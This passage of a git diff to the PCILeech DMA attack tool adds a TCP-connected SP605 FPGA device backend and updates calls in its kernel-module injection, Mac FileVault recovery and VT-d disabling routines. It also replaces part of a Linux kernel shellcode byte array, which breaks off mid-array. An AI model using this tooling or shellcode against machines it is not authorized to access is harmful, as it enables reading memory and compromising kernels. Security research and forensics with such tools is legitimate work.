Device605_TCP_WriteDMA_TXP(ctx, qwA, be, 0, pb, 4) : + Device605_TCP_WriteDMA_TXP(ctx, qwA, 0xf, be, pb, cbtx); + pb += cbtx; + cb -= cbtx; + qwA += cbtx; + } + return Device605_TCP_TxTlp(ctx, NULL, 0, TRUE) && result; // Flush and Return. +} + +BOOL Device605_TCP_ListenTlp(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ DWORD dwTime) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + QWORD tmStart = GetTickCount64(); + while (GetTickCount64() - tmStart < dwTime) { + if (!Device605_TCP_TxTlp(ctx, NULL, 0, TRUE)) { + return FALSE; + } + Sleep(10); + if (!Device605_TCP_RxTlpSynchronous(ctx)) { + return FALSE; + } + } + return TRUE; +} + +BOOL Device605_TCP_WriteTlp(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ PBYTE pbTlp, _In_ DWORD cbTlp) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + return Device605_TCP_TxTlp(ctx, pbTlp, cbTlp, TRUE); +} + +BOOL Device605_TCP_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) +{ + PDEVICE_CONTEXT_SP605_TCP ctx; +#ifdef WIN32 + + WSADATA WsaData; + WSAStartup(MAKEWORD(2, 2), &WsaData); + +#endif + if (ctxPcileech->cfg->TcpAddr == 0) { + fprintf(stderr, "ERROR: Remote address is not specified\n"); + return FALSE; + } + ctx = LocalAlloc(LMEM_ZEROINIT, sizeof(DEVICE_CONTEXT_SP605_TCP)); + if (!ctx) { return FALSE; } + ctxPcileech->hDevice = (HANDLE)ctx; + // open device connection + if (ctxPcileech->cfg->TcpPort == 0) { ctxPcileech->cfg->TcpPort = DEFAULT_PORT; } + ctx->Sock = Device605_TCP_Connect(ctxPcileech->cfg->TcpAddr, ctxPcileech->cfg->TcpPort); + if (!ctx->Sock) { goto fail; } + ctx->wDeviceId = Device605_TCP_GetDeviceID(ctx); + if (!ctx->wDeviceId) { goto fail; } + ctx->rxbuf.cbMax = (DWORD)(2.3 * SP605_TCP_MAX_SIZE_RX); + ctx->rxbuf.pb = LocalAlloc(0, ctx->rxbuf.cbMax); + if (!ctx->rxbuf.pb) { goto fail; } + ctx->txbuf.cbMax = SP605_TCP_MAX_SIZE_TX + 0x10000; + ctx->txbuf.pb = LocalAlloc(0, ctx->txbuf.cbMax); + if (!ctx->txbuf.pb) { goto fail; } + ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtra; + // set callback functions and fix up config + ctxPcileech->cfg->dev.tp = PCILEECH_DEVICE_SP605_TCP; + ctxPcileech->cfg->dev.qwMaxSizeDmaIo = 0x1e000; + ctxPcileech->cfg->dev.qwAddrMaxNative = 0x0000ffffffffffff; + ctxPcileech->cfg->dev.fPartialPageReadSupported = TRUE; + ctxPcileech->cfg->dev.pfnClose = Device605_TCP_Close; + ctxPcileech->cfg->dev.pfnProbeDMA = Device605_TCP_ProbeDMA; + ctxPcileech->cfg->dev.pfnReadDMA = Device605_TCP_ReadDMA; + ctxPcileech->cfg->dev.pfnWriteDMA = Device605_TCP_WriteDMA; + ctxPcileech->cfg->dev.pfnWriteTlp = Device605_TCP_WriteTlp; + ctxPcileech->cfg->dev.pfnListenTlp = Device605_TCP_ListenTlp; + // return + if (ctxPcileech->cfg->fVerbose) { printf("Device Info: SP605 / MicroBlaze TCP.\n"); } + return TRUE; +fail: + Device605_TCP_Close(ctxPcileech); + return FALSE; +} diff --git a/pcileech/device605_tcp.h b/pcileech/device605_tcp.h new file mode 100644 index 0000000..477d069 --- /dev/null +++ b/pcileech/device605_tcp.h @@ -0,0 +1,16 @@ +// device605_tcp.h : definitions related to the Xilinx SP605 dev board flashed with @d_olex bitstream. +// +// (c) Ulf Frisk & @d_olex, 2017 +// +#ifndef __DEVICE605_TCP_H__ +#define __DEVICE605_TCP_H__ +#include "pcileech.h" + +/* +* Open a connection to the SP605/MicroBlaze PCILeech flashed device. +* -- ctx +* -- result +*/ +BOOL Device605_TCP_Open(_Inout_ PPCILEECH_CONTEXT ctx); + +#endif /* __DEVICE605_TCP_H__ */ diff --git a/pcileech/executor.c b/pcileech/executor.c index 7713f40..1d62b95 100644 --- a/pcileech/executor.c +++ b/pcileech/executor.c @@ -161,7 +161,7 @@ VOID Exec_Callback(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PHANDLE phCallback) if(ph->is.bin.seqAck >= ph->os.bin.seq) { return; } cbLength = 0; result = - DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical + ctx->pk->dataOutExtraOffset, ph->pbDMA, (DWORD)SIZE_PAGE_ALIGN_4K(ctx->pk->dataOutExtraLength), NULL) && + DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical + ctx->pk->dataOutExtraOffset, ph->pbDMA, (DWORD)SIZE_PAGE_ALIGN_4K(ctx->pk->dataOutExtraLength), NULL, 0) && (cbLength = fwrite(ph->pbDMA, 1, ctx->pk->dataOutExtraLength, ph->pFileOutput)) && (ctx->pk->dataOutExtraLength == cbLength); ph->qwFileWritten += cbLength; @@ -237,7 +237,7 @@ BOOL Exec_ExecSilent(_Inout_ PPCILEECH_CONTEXT ctx, _In_ LPSTR szShellcodeName, *pcbOut = pk->dataOutExtraLength; *ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut)); if(!*ppbOut) { result = FALSE; goto fail; } - result = SIZE_PAGE_ALIGN_4K(*pcbOut) == DeviceReadDMAEx(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), NULL); + result = SIZE_PAGE_ALIGN_4K(*pcbOut) == DeviceReadDMAEx(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), NULL, 0); } fail: LocalFree(pKmdExec); @@ -337,7 +337,7 @@ VOID ActionExecShellcode(_Inout_ PPCILEECH_CONTEXT ctx) if(cbLength > 0) { // read extra output buffer if(!(pbBuffer = LocalAlloc(LMEM_ZEROINIT, SIZE_PAGE_ALIGN_4K(cbLength))) || - !DeviceReadDMAEx(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, pbBuffer, SIZE_PAGE_ALIGN_4K(cbLength), NULL)) { + !DeviceReadDMAEx(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, pbBuffer, SIZE_PAGE_ALIGN_4K(cbLength), NULL, 0)) { printf("EXEC: Error reading output.\n"); goto fail; } diff --git a/pcileech/extra.c b/pcileech/extra.c index 9014fc1..ac538aa 100644 --- a/pcileech/extra.c +++ b/pcileech/extra.c @@ -16,7 +16,7 @@ VOID Extra_MacFVRecover_ReadMemory_Optimized(_Inout_ PPCILEECH_CONTEXT ctx, _Ino 0x88000000, 0x89000000, 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x8e000000, 0x8f000000 }; for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { - DeviceReadDMAEx(ctx, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, NULL); + DeviceReadDMAEx(ctx, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, NULL, PCILEECH_FLAG_MEM_EX_FASTFAIL); } } @@ -156,7 +156,7 @@ VOID Action_MacDisableVtd(_Inout_ PPCILEECH_CONTEXT ctx) // DMAR table assumed to be on page boundary. This doesn't have to be true, // but it seems like it is on the MACs. for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { - if(DeviceReadDMAEx(ctx, dwOffsets[i], pb16M, 0x01000000, NULL)) { + if(DeviceReadDMAEx(ctx, dwOffsets[i], pb16M, 0x01000000, NULL, PCILEECH_FLAG_MEM_EX_FASTFAIL)) { for(j = 0; j < 0x01000000; j += 0x1000) { if(*(PQWORD)(pb16M + j) == 0x0000008852414d44) { dwAddress = dwOffsets[i] + j; diff --git a/pcileech/help.c b/pcileech/help.c index 8619204..4752f27 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -91,7 +91,9 @@ VOID Help_ShowGeneral() " Wait occurs after any other actions have been completed. \n" \ " -device: force the use of a specific hardware device instead of auto-detect.\n" \ " Affects all modes and commands. \n" \ - " Valid options: USB3380, SP605_UART, SP605_FT601 \n" \ + " Valid options: USB3380, SP605_UART, SP605_FT601, SP605_TCP \n" \ + " -device-addr: Remote address for -device SP605_TCP. \n" \ + " -device-port: Remote TCP port for -device SP605_TCP. Default value: 28472. \n" \ " -help: show help about the selected command or implant and then exit \n" \ " without running the command. Affects all modes and commands. \n" \ " Option has no value. Example: -help \n" \ @@ -138,7 +140,7 @@ VOID Help_ShowInfo() printf( " PCILEECH INFORMATION \n" \ " PCILeech (c) 2016, 2017 Ulf Frisk \n" \ - " Version: 2.3 \n" \ + " Version: 2.4 \n" \ " License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \ " Contact information: pcileech@frizk.net \n" \ " System requirements: 64-bit Windows 7, 10 or Linux. \n" \ diff --git a/pcileech/kmd.c b/pcileech/kmd.c index 7123c3c..382e576 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -75,7 +75,7 @@ BOOL KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ QWORD qwA BOOL KMD_FindSignature1(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatchIdx) { - QWORD i, qwAddrMax, qwAddrCurrent = 0x100000; + QWORD i, qwAddrMax, qwAddrCurrent = max(0x100000, ctx->cfg->qwAddrMin); PBYTE pbBuffer8M; BOOL result; PAGE_STATISTICS pageStat; @@ -96,7 +96,7 @@ BOOL KMD_FindSignature1(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PSIGNATURE pSigna PageStatInitialize(&pageStat, qwAddrCurrent, qwAddrMax, "Searching for KMD location", FALSE, FALSE); while(qwAddrCurrent < qwAddrMax) { pageStat.qwAddr = qwAddrCurrent; - if(DeviceReadDMAEx(ctx, qwAddrCurrent, pbBuffer8M, 0x800000, &pageStat)) { + if(DeviceReadDMAEx(ctx, qwAddrCurrent, pbBuffer8M, 0x800000, &pageStat, 0)) { result = KMD_FindSignature2(pbBuffer8M, 2048, qwAddrCurrent, pSignatures, cSignatures, pdwSignatureMatchIdx); if(result) { LocalFree(pbBuffer8M); @@ -207,7 +207,7 @@ BOOL KMD_MacOSKernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNATUR cbTextHIB = (cbTextHIB + 0xfff) & 0xfffff000; pbTextHIB = LocalAlloc(0, cbTextHIB); if(!pbTextHIB) { return FALSE; } - if(!DeviceReadDMAEx(ctx, dwTextHIB, pbTextHIB, cbTextHIB, NULL)) { + if(!DeviceReadDMAEx(ctx, dwTextHIB, pbTextHIB, cbTextHIB, NULL, 0)) { LocalFree(pbTextHIB); return FALSE; } @@ -232,7 +232,7 @@ BOOL KMD_FreeBSDKernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNAT PBYTE pb64M = LocalAlloc(LMEM_ZEROINIT, 0x04000000); if(!pb64M) { return FALSE; } for(i = 0x01000000; i < 0x04000000; i += 0x01000000) { - DeviceReadDMAEx(ctx, i, pb64M + i, 0x01000000, NULL); + DeviceReadDMAEx(ctx, i, pb64M + i, 0x01000000, NULL, 0); } // 1: search for string 'vn_open' i = 0; @@ -354,7 +354,7 @@ BOOL KMD_Linux46KernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNAT // read 16M of memory first, if KASLR read 2M chunks at top of analysis buffer (performance reasons). dwKernelBase = 0x01000000 + cKSlide * 0x00200000; // KASLR = 16M + ([RND:0..511] * 2M) ??? if(cKSlide == 0) { - DeviceReadDMAEx(ctx, dwKernelBase, pb, 0x01000000, NULL); + DeviceReadDMAEx(ctx, dwKernelBase, pb, 0x01000000, NULL, 0); } else { memmove(pb, pb + 0x00200000, CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000); result = DeviceReadDMA( @@ -573,7 +573,7 @@ BOOL KMDOpen_UEFI_FindEfiBase(_Inout_ PPCILEECH_CONTEXT ctx) PageStatInitialize(&ps, dwAddrCurrent, dwAddrMax, "Searching for EFI BASE", FALSE, FALSE); // loop EFI BASE (IBI SYST) find while(dwAddrCurrent <= dwAddrMax - 0x100000) { - if(DeviceReadDMAEx(ctx, dwAddrCurrent, pb, 0x100000, &ps)) { + if(DeviceReadDMAEx(ctx, dwAddrCurrent, pb, 0x100000, &ps, 0)) { for(o = 0; o < 0x100000 - 0x100; o += 8) { if(0x5453595320494249 != *(PQWORD)(pb + o)) { continue; } // IBI SYST qwAddr_BOOTSERV = *(PQWORD)(pb + o + 0x60); @@ -844,7 +844,7 @@ BOOL KMD_GetPhysicalMemoryMap(_Inout_ PPCILEECH_CONTEXT ctx) } ctx->phKMD->pPhysicalMap = LocalAlloc(LMEM_ZEROINIT, (ctx->pk->_size + 0x1000) & 0xfffff000); if(!ctx->phKMD->pPhysicalMap) { return FALSE; } - DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical, (PBYTE)ctx->phKMD->pPhysicalMap, (DWORD)((ctx->pk->_size + 0x1000) & 0xfffff000), NULL); + DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical, (PBYTE)ctx->phKMD->pPhysicalMap, (DWORD)((ctx->pk->_size + 0x1000) & 0xfffff000), NULL, 0); ctx->phKMD->cPhysicalMap = ctx->pk->_size / sizeof(PHYSICAL_MEMORY_RANGE); if(ctx->phKMD->cPhysicalMap > 0x2000) { return FALSE; } // adjust max memory according to physical memory @@ -900,7 +900,7 @@ BOOL KMDReadMemory_DMABufferSized(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAd if(!result) { return FALSE; } result = KMD_SubmitCommand(ctx, KMD_CMD_READ); if(!result) { return FALSE; } - return (cb == DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical, pb, cb, NULL)) && ctx->pk->_result; + return (cb == DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical, pb, cb, NULL, 0)) && ctx->pk->_result; } BOOL KMDWriteMemory_DMABufferSized(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb) diff --git a/pcileech/memdump.c b/pcileech/memdump.c index 26fb69c..1e299a8 100644 --- a/pcileech/memdump.c +++ b/pcileech/memdump.c @@ -158,11 +158,11 @@ VOID ActionMemoryPageDisplay(_Inout_ PPCILEECH_CONTEXT ctx) { BYTE pb[4096]; QWORD qwAddr = ctx->cfg->qwAddrMin & 0x0fffffffffffff000; - printf("Memory Page Read: Page contents for address: 0x%016llX\n", qwAddr); if(!DeviceReadMEM(ctx, qwAddr, pb, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { - printf("Memory Page Read: Failed.\n"); + printf("Memory Page Read: Failed reading memory at address: 0x%016llX.\n", qwAddr); return; } + printf("Memory Page Read: Page contents for address: 0x%016llX\n", qwAddr); Util_PrintHexAscii(pb, 4096); } diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c index 2bb26f3..635d248 100644 --- a/pcileech/pcileech.c +++ b/pcileech/pcileech.c @@ -122,7 +122,13 @@ BOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[], _Inout_ PPCILEE ctx->cfg->dev.tp = PCILEECH_DEVICE_SP605_UART; } else if(0 == _stricmp(argv[i + 1], "sp605_ft601")) { ctx->cfg->dev.tp = PCILEECH_DEVICE_SP605_FT601; + } else if(0 == _stricmp(argv[i + 1], "sp605_tcp")) { + ctx->cfg->dev.tp = PCILEECH_DEVICE_SP605_TCP; } + } else if(0 == strcmp(argv[i], "-device-addr")) { + ctx->cfg->TcpAddr = inet_addr(argv[i + 1]); + } else if(0 == strcmp(argv[i], "-device-port")) { + ctx->cfg->TcpPort = atoi(argv[i + 1]); } else if(0 == strcmp(argv[i], "-out")) { if((0 == _stricmp(argv[i + 1], "none")) || (0 == _stricmp(argv[i + 1], "null"))) { ctx->cfg->fOutFile = FALSE; @@ -236,7 +242,7 @@ int main(_In_ int argc, _In_ char* argv[]) } result = DeviceOpen(ctx); if(!result) { - printf("PCILEECH: Failed to connect to USB device.\n"); + printf("PCILEECH: Failed to connect to the device.\n"); PCILeechFreeContext(ctx); return 1; } diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h index 70772e3..f556eb8 100644 --- a/pcileech/pcileech.h +++ b/pcileech/pcileech.h @@ -48,7 +48,8 @@ typedef enum tdPCILEECH_DEVICE_TYPE { PCILEECH_DEVICE_NA, PCILEECH_DEVICE_USB3380, PCILEECH_DEVICE_SP605_UART, - PCILEECH_DEVICE_SP605_FT601 + PCILEECH_DEVICE_SP605_FT601, + PCILEECH_DEVICE_SP605_TCP } PCILEECH_DEVICE_TYPE; typedef struct tdDeviceConfig { @@ -81,6 +82,8 @@ typedef struct tdConfig { CHAR szShellcodeName[MAX_PATH]; QWORD qwMaxSizeDmaIo; DWORD dwListenTlpTimeMs; + DWORD TcpAddr; + WORD TcpPort; // flags below BOOL fPageTableScan; BOOL fPatchAll; diff --git a/pcileech/pcileech.vcxproj b/pcileech/pcileech.vcxproj index 475b87b..b0335d9 100644 --- a/pcileech/pcileech.vcxproj +++ b/pcileech/pcileech.vcxproj @@ -86,6 +86,7 @@ + @@ -106,6 +107,7 @@ + diff --git a/pcileech/pcileech.vcxproj.filters b/pcileech/pcileech.vcxproj.filters index 78612b6..f413df9 100644 --- a/pcileech/pcileech.vcxproj.filters +++ b/pcileech/pcileech.vcxproj.filters @@ -72,6 +72,9 @@ Header Files + + Header Files + @@ -122,6 +125,9 @@ Source Files + + Source Files + diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index adb7087..b8884cc 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -1215,16 +1215,16 @@ const BYTE WINX64_VFS_KSH[] = { }; const BYTE LINUX_X64_VFS_KSH[] = { - 0x37, 0x13, 0xec, 0x3c, 0x76, 0x54, 0xf4, 0xae, 0xc2, 0x03, 0x8b, 0x8d, - 0x13, 0xe3, 0x01, 0x71, 0x38, 0xdb, 0xb7, 0xef, 0x5a, 0x4b, 0x6c, 0xfd, - 0xf6, 0x5e, 0xf7, 0x2b, 0x18, 0x5f, 0xf0, 0x90, 0x7d, 0xe4, 0x65, 0x6e, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x09, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x9e, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x37, 0x13, 0xec, 0x3c, 0xe5, 0x9f, 0x01, 0x26, 0x1d, 0x95, 0x40, 0x84, + 0xc5, 0x4a, 0xfb, 0x7f, 0x91, 0x42, 0x44, 0x50, 0xe2, 0x20, 0x75, 0x70, + 0x64, 0x58, 0x5a, 0x9b, 0x6e, 0xe6, 0xdb, 0x33, 0x7e, 0xe6, 0x5c, 0x3f, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdb, 0x09, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x76, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, - 0x48, 0x83, 0xec, 0x20, 0xe8, 0x8b, 0x07, 0x00, 0x00, 0x48, 0x8b, 0xe6, + 0x48, 0x83, 0xec, 0x20, 0xe8, 0x63, 0x08, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x4d, 0x8b, 0xe9, 0x49, 0xc1, 0xe5, 0x03, 0x4d, 0x8b, 0xe0, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x4b, 0x8b, 0x54, @@ -1244,130 +1244,148 @@ const BYTE LINUX_X64_VFS_KSH[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0x48, 0x03, 0xc1, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0x48, 0x2b, 0xc8, 0x48, 0xc1, 0xe9, 0x07, 0x48, 0xc1, 0xe1, 0x0c, 0x48, 0x8b, 0xc1, - 0xc3, 0x0f, 0x09, 0xc3, 0x40, 0x55, 0x53, 0x57, 0x48, 0x8d, 0x6c, 0x24, - 0xb9, 0x48, 0x81, 0xec, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xa7, - 0xc7, 0x45, 0xa7, 0x73, 0x79, 0x73, 0x5f, 0x48, 0x89, 0x45, 0xe7, 0x48, - 0x8b, 0xda, 0x48, 0x8d, 0x45, 0x77, 0xc7, 0x45, 0xab, 0x75, 0x6e, 0x6c, - 0x69, 0x48, 0x89, 0x45, 0xef, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, - 0x48, 0x8d, 0x45, 0x7f, 0x48, 0x89, 0x45, 0xf7, 0x4c, 0x8b, 0xc2, 0x48, - 0x8d, 0x45, 0xb7, 0x66, 0xc7, 0x45, 0xaf, 0x6e, 0x6b, 0x48, 0x89, 0x45, - 0xff, 0x48, 0x8d, 0x55, 0xe7, 0x48, 0x8d, 0x45, 0x87, 0xc6, 0x45, 0xb1, - 0x00, 0x48, 0x89, 0x45, 0x07, 0x41, 0xb9, 0x09, 0x00, 0x00, 0x00, 0x48, - 0x8d, 0x44, 0x24, 0x20, 0xc7, 0x45, 0x77, 0x6d, 0x65, 0x6d, 0x63, 0x48, - 0x89, 0x45, 0x0f, 0x48, 0x8d, 0x45, 0x97, 0x48, 0x89, 0x45, 0x17, 0x48, - 0x8d, 0x44, 0x24, 0x30, 0x48, 0x89, 0x45, 0x1f, 0x48, 0x8d, 0x45, 0x67, - 0x48, 0x89, 0x45, 0x27, 0x66, 0xc7, 0x45, 0x7b, 0x70, 0x79, 0xc6, 0x45, - 0x7d, 0x00, 0xc7, 0x45, 0x7f, 0x6d, 0x65, 0x6d, 0x73, 0x66, 0xc7, 0x85, - 0x83, 0x00, 0x00, 0x00, 0x65, 0x74, 0xc6, 0x85, 0x85, 0x00, 0x00, 0x00, - 0x00, 0xc7, 0x45, 0xb7, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0xbb, 0x5f, - 0x63, 0x6c, 0x6f, 0x66, 0xc7, 0x45, 0xbf, 0x73, 0x65, 0xc6, 0x45, 0xc1, - 0x00, 0xc7, 0x45, 0x87, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0x8b, 0x5f, - 0x6f, 0x70, 0x65, 0x66, 0xc7, 0x45, 0x8f, 0x6e, 0x00, 0xc7, 0x44, 0x24, - 0x20, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x24, 0x72, 0x65, 0x61, - 0x64, 0xc6, 0x44, 0x24, 0x28, 0x00, 0xc7, 0x45, 0x97, 0x76, 0x66, 0x73, - 0x5f, 0xc7, 0x45, 0x9b, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7, 0x45, 0x9f, - 0x65, 0x00, 0xc7, 0x44, 0x24, 0x30, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, - 0x24, 0x34, 0x73, 0x74, 0x61, 0x74, 0xc6, 0x44, 0x24, 0x38, 0x00, 0xc7, - 0x45, 0x67, 0x79, 0x69, 0x65, 0x6c, 0x66, 0xc7, 0x45, 0x6b, 0x64, 0x00, - 0xe8, 0xed, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x51, 0x48, 0x8b, 0x4f, - 0x10, 0x48, 0x8d, 0x55, 0xc7, 0xc7, 0x45, 0xc7, 0x69, 0x74, 0x65, 0x72, - 0xc7, 0x45, 0xcb, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0xcf, 0x64, 0x69, - 0x72, 0x00, 0xe8, 0x13, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x43, 0x48, 0x48, - 0x8d, 0x55, 0xd7, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0xd7, 0x76, 0x66, - 0x73, 0x5f, 0xc7, 0x45, 0xdb, 0x72, 0x65, 0x61, 0x64, 0xc7, 0x45, 0xdf, - 0x64, 0x69, 0x72, 0x00, 0xe8, 0xed, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, - 0x50, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x00, 0x01, 0x00, - 0x00, 0x5f, 0x5b, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff, 0x01, 0x00, 0x00, 0x49, - 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x20, 0x45, 0x8d, 0x41, 0x42, 0xe8, - 0xb6, 0xfd, 0xff, 0xff, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, - 0xff, 0xff, 0x48, 0x3b, 0xc1, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, - 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd0, - 0xe8, 0x91, 0xfd, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, - 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, - 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x05, 0x00, 0x48, 0x8b, - 0x4b, 0x20, 0xe8, 0x53, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, - 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, - 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x48, - 0x8d, 0x0d, 0x92, 0x00, 0x00, 0x00, 0xe8, 0x67, 0xfd, 0xff, 0xff, 0x48, - 0x8b, 0x4b, 0x48, 0x4c, 0x8d, 0x05, 0x64, 0xfd, 0xff, 0xff, 0x4c, 0x89, - 0x44, 0x24, 0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x7c, 0x24, - 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40, 0x48, 0x85, 0xc9, 0x74, 0x0f, 0x4c, - 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0xfa, 0xfc, 0xff, 0xff, - 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x50, 0x48, 0x85, 0xc9, 0x74, 0x14, 0x4c, - 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0xe2, 0xfc, 0xff, 0xff, - 0x48, 0x89, 0x87, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0x45, - 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0xe8, 0xcc, 0xfc, 0xff, 0xff, 0x48, 0x8b, - 0x4b, 0x40, 0xe8, 0xc3, 0xfc, 0xff, 0xff, 0x4c, 0x8b, 0xc5, 0x48, 0x8b, - 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xf7, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, - 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, - 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, + 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, + 0x48, 0x8d, 0x6c, 0x24, 0xf0, 0x48, 0x81, 0xec, 0x10, 0x01, 0x00, 0x00, + 0x33, 0xf6, 0xc7, 0x44, 0x24, 0x70, 0x73, 0x79, 0x73, 0x5f, 0x48, 0x8d, + 0x44, 0x24, 0x70, 0xc7, 0x44, 0x24, 0x74, 0x75, 0x6e, 0x6c, 0x69, 0x48, + 0x89, 0x45, 0xb0, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x45, 0x40, 0x66, 0xc7, + 0x44, 0x24, 0x78, 0x6e, 0x6b, 0x48, 0x89, 0x45, 0xb8, 0x44, 0x8d, 0x4e, + 0x08, 